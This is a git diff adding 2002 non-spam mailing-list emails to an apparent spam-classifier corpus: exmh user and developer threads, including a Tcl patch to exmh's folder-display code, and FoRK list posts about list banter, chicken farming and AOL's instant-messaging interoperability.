2.5.9 (CVS) 06/19/2002 with nmh-1.0.4 +To: exmh-users@spamassassin.taint.org +Subject: Re: Folder computed replcomps (and replgroupcomps +In-Reply-To: <23937.1027287441@dimebox> +References: <8128.1027129899@kanga.nu> <23937.1027287441@dimebox> +Comments: In-reply-to Hal DeVore message dated "Sun, + 21 Jul 2002 16:37:21 -0500." +From: Brent Welch +X-Url: http://www.panasas.com/ +X-Face: "HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> + r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\W:AK\j?@?c1o +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 11:16:24 -0700 + +Yes - I was going to suggest the folder change hooks as well. +Just have them check for your custom comps file, and generate +or update them if needed. + +>>>Hal DeVore said: + > + > + > >>>>> On Fri, 19 Jul 2002, "J" == J C Lawrence wrote: + > + > J> What would be great is if I could build the relevant comp + > J> file dynamically at runtime. + > + > Sure. Use the "folder change" hooks. Create a proc named + > Hook_FolderChangeSomething (where "Something" is meaningful and + > likely to be unique in the universe just in case you distribute + > this to others). Put the proc in a file in your ~/.tk/exmh + > directory, regenerate the tclIndex, restart exmh. + > + > In that proc you can do anything you want, like rewrite your + > ~/Mail/comp file. + > + > + > --Hal + > + > + > + > + > _______________________________________________ + > Exmh-users mailing list + > Exmh-users@redhat.com + > https://listman.redhat.com/mailman/listinfo/exmh-users + +-- +Brent Welch +Software Architect, Panasas Inc +Pioneering the World's Most Scalable and Agile Storage Network +www.panasas.com +welch@panasas.com + + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00706.8572fad402b05b1931dfef0b5ec7ff48 b/bayes/spamham/easy_ham_2/00706.8572fad402b05b1931dfef0b5ec7ff48 new file mode 100644 index 0000000..63ddc36 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00706.8572fad402b05b1931dfef0b5ec7ff48 @@ -0,0 +1,403 @@ +From exmh-workers-admin@redhat.com Wed Jul 24 10:41:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1E301440CC + for ; Wed, 24 Jul 2002 05:41:46 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 10:41:46 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6O9at401239 for + ; Wed, 24 Jul 2002 10:36:55 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 2D8D83F2DD; Wed, 24 Jul 2002 + 05:36:03 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 9A4893EC17 + for ; Wed, 24 Jul 2002 05:35:09 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6O9ZAC22864 for exmh-workers@listman.redhat.com; Wed, 24 Jul 2002 + 05:35:10 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6O9Z9R22860 for + ; Wed, 24 Jul 2002 05:35:09 -0400 +Received: from tippex.localdomain (h189n1fls22o974.telia.com + [213.64.79.189]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id + g6O9NRs32512 for ; Wed, 24 Jul 2002 05:23:28 + -0400 +Received: by tippex.localdomain (Postfix, from userid 500) id D1035470D; + Wed, 24 Jul 2002 11:34:57 +0200 (CEST) +Received: from tippex.localdomain (localhost [127.0.0.1]) by + tippex.localdomain (Postfix) with ESMTP id C6534470C; Wed, 24 Jul 2002 + 11:34:57 +0200 (CEST) +X-Mailer: exmh version 2.5_20020724 01/15/2001 with nmh-1.0.4 +To: Chris Garrigues , + exmh-workers@redhat.com +Subject: PATCH (was: Re: Another bug) +In-Reply-To: Message from Anders Eriksson of + "Tue, 23 Jul 2002 02:20:35 +0200." + <20020723002041.2624D470D@tippex.localdomain> +MIME-Version: 1.0 +Content-Type: multipart/mixed ; boundary="==_Exmh_6514812010" +From: Anders Eriksson +Message-Id: <20020724093457.D1035470D@tippex.localdomain> +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 11:34:52 +0200 + +This is a multipart MIME message. + +--==_Exmh_6514812010 +Content-Type: text/plain; charset=us-ascii + + + +cwg-dated-1027805573.3ce2ae@DeepEddy.Com said: +> I just checked in a code cleanup which doesn't address this issue, +> but does take a machete to code right around it. You ought to 'cvs +> update' and see if your issue becomes any clearer with all the +> brush removed. + +> My patch notes that 'msgid' and 'line' are redundant with one +> another and removes one or the other from functions which takes +> both. The callers are then changed to pass what the function +> expects. In the case of Msg_Change, the 'line' argument is removed +> and we only have the msgid argument. Ftoc_ClearCurrent is now the +> first line of MsgChange. + +The following patch removes Ftoc_RescanLine in favour of a +Ftoc_RescanLines. It runs scan(1) on a list of lines and updates ftoc +accordingly. The patch also changes all the callers to make use of it. + +It also changes Ftoc_ClearCurrent to work of an argument instead of +falsily clearing a message that's still Current on disk. All in an +effort to get a one-to-one disk-display correspondence. + +It does add ~30 -- ~ 75 ms (~<10%) to the execution time depending on +folder size due to the invocation of scan. However this version does +not try to second guess the mh version of scan so if you have exotic +scanlines it tells the truth. As a side effect the '+' sign now +corresponds better to what's on disk. + +Comments appreciated. I'm going to be offlike for a couple of days, +so I send the cvs diff rather than putting it in the cvs. + +/Anders + + + +--==_Exmh_6514812010 +Content-Type: application/x-patch ; name="exmh.patch" +Content-Description: exmh.patch +Content-Disposition: attachment; filename="exmh.patch" + +Index: lib/ftoc.tcl +=================================================================== +RCS file: /cvsroot/exmh/exmh/lib/ftoc.tcl,v +retrieving revision 1.29 +diff -u -b -B -w -p -r1.29 ftoc.tcl +--- lib/ftoc.tcl 22 Jul 2002 21:46:35 -0000 1.29 ++++ lib/ftoc.tcl 24 Jul 2002 09:16:25 -0000 +@@ -558,7 +558,7 @@ proc FtocPickRange { {addcurrent 0} } { + if {$addcurrent} { + Ftoc_RangeHighlight $ftoc(curLine) $ftoc(curLine) + } +- Ftoc_ClearCurrent ++ Ftoc_ClearCurrent $ftoc(curLine) + Msg_ClearCurrent + set ftoc(curLine) {} + } +@@ -611,31 +611,55 @@ proc Ftoc_NewFtoc {} { + # Ftoc_ClearCurrent and Ftoc_Change are two parts of + # dinking the ftoc display when advancing a message. + +-proc Ftoc_ClearCurrent {} { +- # Clear display of current message ++# ++# Make line no longer appear as the currently selected line ++# ++ ++proc Ftoc_ClearCurrent { line } { + global ftoc exwin + set ftoc(pickone) 1 + set ftoc(lineset) {} + +- if {$ftoc(curLine) == {}} { +- set ftoc(curLine) [Mh_Cur $ftoc(folder)] +- } +- if {$ftoc(curLine) != {}} { +- $exwin(ftext) tag remove cur $ftoc(curLine).0 $ftoc(curLine).end +- Ftoc_RescanLine $ftoc(curLine) +- } +- return $ftoc(curLine) +-} +-proc Ftoc_Change { line {show show} } { ++#We dont need this any more since we work off the line ++#argument, not $ftoc(curLine) ++# if {$ftoc(curLine) == {}} { ++# set ftoc(curLine) [Mh_Cur $ftoc(folder)] ++# } ++# if {$ftoc(curLine) != {}} { ++# $exwin(ftext) tag remove cur $ftoc(curLine).0 $ftoc(curLine).end ++# Ftoc_RescanLine $ftoc(curLine) ++# } ++ #should check that 0<$line => $f" warn +@@ -1113,7 +1192,7 @@ proc FtocCommit {tagname commitProc {cop + set ftoc(displayDirty) 1 + Ftoc_ClearMsgCache + if {$msgid == $curid} { +- Ftoc_ClearCurrent ++ Ftoc_ClearCurrent $ftoc(curLine) + Msg_ClearCurrent + } + if {$L == $ftoc(curLine)} { +Index: lib/msg.tcl +=================================================================== +RCS file: /cvsroot/exmh/exmh/lib/msg.tcl,v +retrieving revision 1.21 +diff -u -b -B -w -p -r1.21 msg.tcl +--- lib/msg.tcl 22 Jul 2002 21:23:48 -0000 1.21 ++++ lib/msg.tcl 24 Jul 2002 09:16:26 -0000 +@@ -73,10 +73,20 @@ proc Msg_ShowUnseen { {show show} } { + return 0 + } + proc Msg_ClearCurrent { } { +- global msg exmh ++ global msg exmh ftoc ++ # Are there cases where this is not true? ++ if {$ftoc(folder) == $exmh(folder)} { ++ set prevline [Ftoc_FindMsg [Mh_Cur $ftoc(folder)]] ++ if {$prevline == {}} { ++ unset prevline ++ } ++ } + set msg(id) {} ;# Clear current message + set msg(dpy) {} ;# and currently displayed message + Mh_ClearCur $exmh(folder) ++ if {[info exists prevline]} { ++ Ftoc_ClearCurrent $prevline ++ } + MsgClear + Buttons_Current 0 + Uri_ClearCurrent +@@ -117,13 +127,13 @@ proc Msg_Change {msgid {show show} } { + Exmh_Debug Msg_Change [time [list MsgChange $msgid $show]] + } + proc MsgChange {msgid {show show}} { +- global exmh exwin msg mhProfile ++ global exmh exwin msg mhProfile ftoc + +- Ftoc_ClearCurrent ++ set prevline [Ftoc_FindMsg [Mh_Cur $ftoc(folder)]] + Mh_SetCur $exmh(folder) $msgid + Ftoc_ShowSequences $exmh(folder) + set line [Ftoc_FindMsg $msgid] +- if {! [Ftoc_Change $line $show]} { ++ if {! [Ftoc_Change $line $prevline]} { + Exmh_Status "Cannot find msg $msgid - Rescan?" + } else { + if {$msg(id) == {}} { +@@ -652,14 +662,17 @@ proc Msg_UUdecode {} { + } + + proc Msg_MarkUnseen {} { +- global exmh ++ global exmh ftoc + Msg_CheckPoint + Ftoc_Iterate line { + set msgid [Ftoc_MsgNumber $line] + Mh_MarkUnseen $exmh(folder) $msgid + } +- Msg_ClearCurrent +- Ftoc_ClearCurrent ++ Ftoc_RescanLines $ftoc(lineset) ++ #Why was this needed? ++ #Msg_ClearCurrent ++ #Not needed anymore ++ #Ftoc_ClearCurrent + Flist_ForgetUnseen $exmh(folder) + Ftoc_ShowSequences $exmh(folder) + } +Index: lib/scan.tcl +=================================================================== +RCS file: /cvsroot/exmh/exmh/lib/scan.tcl,v +retrieving revision 1.21 +diff -u -b -B -w -p -r1.21 scan.tcl +--- lib/scan.tcl 22 Jul 2002 22:39:29 -0000 1.21 ++++ lib/scan.tcl 24 Jul 2002 09:16:26 -0000 +@@ -265,7 +265,7 @@ proc Scan_CacheUpdate {} { + # this thing. + # + if !$ftoc(displayValid) { +- set curLine [Ftoc_ClearCurrent] ;# Clear + ++ Ftoc_ClearCurrent $ftoc(curLine) ;# Clear + + if [file writable $cacheFile] { + set scancmd "exec $mhProfile(scan-proc) [list +$folder] \ + -width $ftoc(scanWidth) > [list $cacheFile]" +@@ -273,12 +273,12 @@ proc Scan_CacheUpdate {} { + Exmh_Status "failed to rescan folder $folder: $err" warn + } + } +- Ftoc_Change $curLine ;# Restore it ++ Ftoc_Change $ftoc(curline) ;# Restore it + } elseif [catch { + set cacheIO [open $cacheFile w] +- set curLine [Ftoc_ClearCurrent] ;# Clear + ++ Ftoc_ClearCurrent $ftoc(curLine) ;# Clear + + set display [$exwin(ftext) get 1.0 "end -1 char"] +- Ftoc_Change $curLine ;# Restore it ++ Ftoc_Change $ftoc(curline) ;# Restore it + puts $cacheIO $display nonewline + close $cacheIO + set ftoc(displayDirty) 0 + +--==_Exmh_6514812010-- + + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00707.2439cb7e02ff7c87aafc09956f89ea28 b/bayes/spamham/easy_ham_2/00707.2439cb7e02ff7c87aafc09956f89ea28 new file mode 100644 index 0000000..90036ef --- /dev/null +++ b/bayes/spamham/easy_ham_2/00707.2439cb7e02ff7c87aafc09956f89ea28 @@ -0,0 +1,61 @@ +From fork-admin@xent.com Tue Jul 23 18:11:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AA6DB440CC + for ; Tue, 23 Jul 2002 13:11:43 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 18:11:43 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NH8j413748 for ; + Tue, 23 Jul 2002 18:08:46 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 41834294108; Tue, 23 Jul 2002 09:58:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (cpe-65-172-233-109.sanbrunocable.com + [65.172.233.109]) by xent.com (Postfix) with ESMTP id A2139294107 for + ; Tue, 23 Jul 2002 09:57:09 -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Tue, 23 Jul 2002 17:06:17 -08:00 +Message-Id: <3D3D8D09.1040107@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt/1.5.0 [-1214711651] +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: Lucas Gonze , FoRK +Subject: Re: spam maps +References: + <3D3D7D3F.7090808@barrera.org> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 10:06:17 -0700 + +Joseph S. Barrera III wrote: + +> And you. I especially hate you. + +BTW, guys, I'm *kidding*! I'm actually in a pretty good mood right now. +I'm not actually a very hateful person, and I certainly can't think of +anyone right now I hate, and certainly not anyone on this list! + +- Joe + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00708.eee4a91d45eee5847fa113eca3da4535 b/bayes/spamham/easy_ham_2/00708.eee4a91d45eee5847fa113eca3da4535 new file mode 100644 index 0000000..afacd57 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00708.eee4a91d45eee5847fa113eca3da4535 @@ -0,0 +1,83 @@ +From fork-admin@xent.com Tue Jul 23 18:11:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 028CB440CD + for ; Tue, 23 Jul 2002 13:11:51 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 18:11:51 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NHD4414048 for ; + Tue, 23 Jul 2002 18:13:04 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 7573A29410B; Tue, 23 Jul 2002 10:02:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from cats.ucsc.edu (cats-mx2.ucsc.edu [128.114.129.35]) by + xent.com (Postfix) with ESMTP id 8890929410B for ; + Tue, 23 Jul 2002 10:01:27 -0700 (PDT) +Received: from Tycho (dhcp-63-177.cse.ucsc.edu [128.114.63.177]) by + cats.ucsc.edu (8.10.1/8.10.1) with SMTP id g6NHAD002553 for + ; Tue, 23 Jul 2002 10:10:13 -0700 (PDT) +From: "Jim Whitehead" +To: "FoRK" +Subject: [Baseline] Raising chickens the high-tech way +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +Importance: Normal +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 +X-Ucsc-Cats-Mailscanner: Found to be clean +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 10:08:31 -0700 + +>>From Egg to Drummies: 10 Weeks From Farm to Food +By Larry Barrett + +http://www.baselinemag.com/article2/0,3959,369038,00.asp + +My breasts have been halved, breaded and shipped to their current +resting-place on a shelf in a supermarket in Denver. My legs should be +arriving in Moscow any time now. All my feathers have been processed and are +now being eaten by cattle somewhere in Texas. My blood and bones have been +rendered for cat food, fertilizer and who-knows- what else. My wings have +been seasoned with barbecue sauce and served with a side of ranch dressing +and celery at some bar and grill in New York City. My feet? Well, they're +headed to Asia where I'm told they're something of a delicacy. + +----------- + +So, a couple of things intrigued me about this byline, and its associated +main article: +And On the 47th Day, This Chicken Went to Market +By Debbie Gage +http://www.baselinemag.com/article2/0,3959,367672,00.asp + +- I had no idea how much computer controls played into the raising of +livestock +- I had no idea how fast a chicken is raised these days + +It also strikes me that it will not be very long before livestock is +genetically engineered to be dumber and meatier, and better adapted to +living in industrial conditions. + +- Jim + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00709.d268c5ab16687251cb4c55c633f93134 b/bayes/spamham/easy_ham_2/00709.d268c5ab16687251cb4c55c633f93134 new file mode 100644 index 0000000..d5510ff --- /dev/null +++ b/bayes/spamham/easy_ham_2/00709.d268c5ab16687251cb4c55c633f93134 @@ -0,0 +1,194 @@ +From fork-admin@xent.com Tue Jul 23 21:29:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5C90A440CC + for ; Tue, 23 Jul 2002 16:29:06 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 21:29:06 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NKUk426659 for ; + Tue, 23 Jul 2002 21:30:47 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 32CA72940AB; Tue, 23 Jul 2002 13:20:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from cats.ucsc.edu (cats-mx2.ucsc.edu [128.114.129.35]) by + xent.com (Postfix) with ESMTP id 66E8B2940AA for ; + Tue, 23 Jul 2002 13:19:57 -0700 (PDT) +Received: from Tycho (dhcp-63-177.cse.ucsc.edu [128.114.63.177]) by + cats.ucsc.edu (8.10.1/8.10.1) with SMTP id g6NKSl015727 for + ; Tue, 23 Jul 2002 13:28:47 -0700 (PDT) +From: "Jim Whitehead" +To: "FoRK" +Subject: AOL scaling back IM interoperability +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +Importance: Normal +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 +X-Ucsc-Cats-Mailscanner: Found to be clean +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 13:27:06 -0700 + +I suppose the main surprise here is that AOL is coming clean at all. After +all, its long-running game of talking interop, and doing everything possible +to prevent open standards in this arena, seemed to have been working fine, +with most end users completely oblivious to AOL's actions. + +http://www.quicken.com/investments/news/story/djbn/?story=/news/stories/dj/2 +0020723/ON20020723000833.htm + +America Online Scales Back Instant-Messaging Compatibility Efforts +Updated: Tuesday, July 23, 2002 01:23 PM ET + +Dow Jones Newswires + +NEW YORK -- America Online appears to be scaling back efforts to make its +instant-messaging service compatible with rival services. + +The unit of AOL Time Warner Inc. (AOL, news, msgs) said in a regulatory +filing it is now focusing on messaging interoperability methods that are +more limited in scope than the kind envisioned by the Federal Communications +Commission when it approved the AOL-Time Warner merger in January 2001. + +America Online isn't required to make its messaging system interoperable +with others, but the FCC's merger approval included what it considered to be +incentives for the company to do so. It also required AOL to file progress +reports on its interoperability efforts every six months. The most recent +report, filed last week, disclosed the company's new direction. + +The upshot of the strategy shift is that the instant-messaging market isn't +much closer to broad-based interoperability than it was 18 months ago, +according to industry analysts. Unlike e-mail, users of most competing +instant-messaging services still can't directly trade messages. So an +America Online instant- messaging user can't communicate with a user of +Microsoft Corp.'s (MSFT, news, msgs) MSN Messenger, except by using +third-party software such as Trillian. + +America Online, the biggest instant-messaging provider, has been criticized +for blocking users of rival services from gaining access to its users. The +company also has been accused of dragging its feet amid industry attempts at +interoperability. + +For its part, America Online has said it wants to protect the security of +its users and the reliability of its system. And it points out that other +companies have so far failed to agree on interoperability standards. + +When the FCC approved the AOL-Time Warner merger, it said that if America +Online wanted to offer video-conferencing and other advanced +instant-messaging features over Time Warner's cable lines, it first had to +enable its instant- messaging users to communicate with users of rival +services. The intent of the condition was to prevent America Online from +widening its dominance of the instant-messaging market by exploiting its +access to Time Warner cable systems. + +AOL hasn't yet introduced video features, even though rivals Microsoft and +Yahoo Inc. (YHOO, news, msgs) did so last year. + +Specifically, the FCC said America Online would have to implement a +technology known as "server-to-server interoperability" before it could +offer video. The technology would allow users of non-America Online services +to detect when AOL users are online, and to trade messages. It would do so +via communications between the computer servers operated by each messaging +provider, using a common language. + +But in the progress report filed with the FCC last week, America Online said +it will "focus its efforts" on alternatives to server-to-server +interoperability. They are more limited in scope than server-to-sever. + +As an example of an alternative, America Online cited a recent agreement to +make its instant-messaging service compatible with a new messaging service +from Apple Computer Corp. (AAPL, news, msgs). The Apple service, IChat, will +be included in Mac OS X 10.2, the new Apple operating system set for release +in August. + +IChat users will be able to talk to America Online users, but it won't +involve server-to-server interoperability. Instead, the actual exchange of +messages will occur only on America Online's servers, even as IChat +customers use Apple software. + +"We believe this kind of hosted IM solution provides, at least in the short +term, a secure, reliable and cost-effective means to provide +interoperability between AOL, IM and unaffiliated IM communities," Steven +Teplitz, AOL's associate general counsel, wrote in the progress report to +the FCC. + +As to the apparent change in strategy, company spokeswoman Kathy McKiernan +said Tuesday: "It's a recognition that server-to-server has proven a hard +nut to crack for the entire industry." Indeed, users of America Online's +rival services can't directly communicate with each other, either. + +The alternative solution "was something that we could implement now to +provide for IM communities to communicate," said Ms. McKiernan, adding +America Online would explore partnerships with other messaging providers, +similar to the Apple deal. None has been announced so far. + +FCC officials couldn't be reached Tuesday. + +America Online hasn't ruled out the possibility that it would someday +implement server-to-server interoperability. The company has explored the +technology in the past, including a server-to-server last year with Lotus +Development, a unit of International Business Machines Corp. (IBM, news, +msgs). + +But America Online's interoperability test with Lotus was "limited in scope +and functionality." True server-to-server technology "would require further +significant expenditures of time and resources to develop," wrote Mr. +Teplitz. + +The Internet Engineering Task Force, a group devoted to developing Internet +standards, has been working on a server-to-server messaging technology but +hasn't yet developed a final version, according to America Online. Task +force representatives couldn't be reached. + +The company's strategy shift means that true interoperability in instant +messaging is still a couple of years away, according to Michael Gartenberg, +analyst with Jupiter Research. + +"It's still something the market wants," he said. "At some point, it'll +happen, but maybe a couple of years down the road." + +Mr. Gartenberg and other analysts believe America Online hasn't actively +pursued true interoperability because it wants to protect its large user +base. If messaging systems were compatible, the company could lose ground +because prospective customers might see no difference in choosing another +provider, as long as they can reach America Online users. + +But partly because of its lack of compatibility and the FCC conditions, +America Online hasn't kept up with rivals in offering new services. MSN and +Yahoo have had video-conferencing via instant-messaging since last year. AOL +has denied that it has held back on video messaging to avoid making its +system interoperable, arguing there is little consumer demand for it. + +But the new features have paid off for the company's rivals, and they are +catching up. Between last October and April, Microsoft's Messenger user base +rose 32% to 29.1 million, according to ComScore Media Metrix, while Yahoo's +base jumped 19% to 19.2 million users. In the same period, the number of +users of AOL-branded messaging services increased 7% to 54.9 million. + + +-Peter Loftus; Dow Jones Newswires; 201-938-5267; peter.loftus@dowjones.com + +Copyright 2002 Dow Jones & Company, Inc. +All Rights Reserved + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00710.dcb21a6dd9ec8db27498f79d2e61e10c b/bayes/spamham/easy_ham_2/00710.dcb21a6dd9ec8db27498f79d2e61e10c new file mode 100644 index 0000000..18cc38a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00710.dcb21a6dd9ec8db27498f79d2e61e10c @@ -0,0 +1,60 @@ +From fork-admin@xent.com Tue Jul 23 22:33:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 49BE6440CC + for ; Tue, 23 Jul 2002 17:33:46 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 22:33:46 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NLWk429693 for ; + Tue, 23 Jul 2002 22:32:46 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 3D9332940A9; Tue, 23 Jul 2002 14:22:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id 066D02940A5 for + ; Tue, 23 Jul 2002 14:21:29 -0700 (PDT) +Received: (qmail 17406 invoked by uid 508); 23 Jul 2002 21:30:39 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (217.80.40.47) by + venus.phpwebhosting.com with SMTP; 23 Jul 2002 21:30:39 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g6NLUXP00546; Tue, 23 Jul 2002 23:30:33 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: "Joseph S. Barrera III" +Cc: Lucas Gonze , FoRK +Subject: Re: spam maps +In-Reply-To: <3D3D8D09.1040107@barrera.org> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 23:30:33 +0200 (CEST) + +On Tue, 23 Jul 2002, Joseph S. Barrera III wrote: + +> BTW, guys, I'm *kidding*! I'm actually in a pretty good mood right now. +> I'm not actually a very hateful person, and I certainly can't think of +> anyone right now I hate, and certainly not anyone on this list! + +You cannot fool us. We know you inside out. + +P.S. We hate you, too. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00711.6a9d9ebbb5c459d2877ac8a064eb1bae b/bayes/spamham/easy_ham_2/00711.6a9d9ebbb5c459d2877ac8a064eb1bae new file mode 100644 index 0000000..fc97656 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00711.6a9d9ebbb5c459d2877ac8a064eb1bae @@ -0,0 +1,63 @@ +From fork-admin@xent.com Tue Jul 23 22:50:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A5275440CC + for ; Tue, 23 Jul 2002 17:50:10 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 22:50:10 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NLlp430338 for ; + Tue, 23 Jul 2002 22:47:51 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 04D822940AE; Tue, 23 Jul 2002 14:37:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (unknown [207.5.62.130]) by xent.com (Postfix) + with ESMTP id 0EF502940A9 for ; Tue, 23 Jul 2002 14:36:55 + -0700 (PDT) +Received: from (127.0.0.1 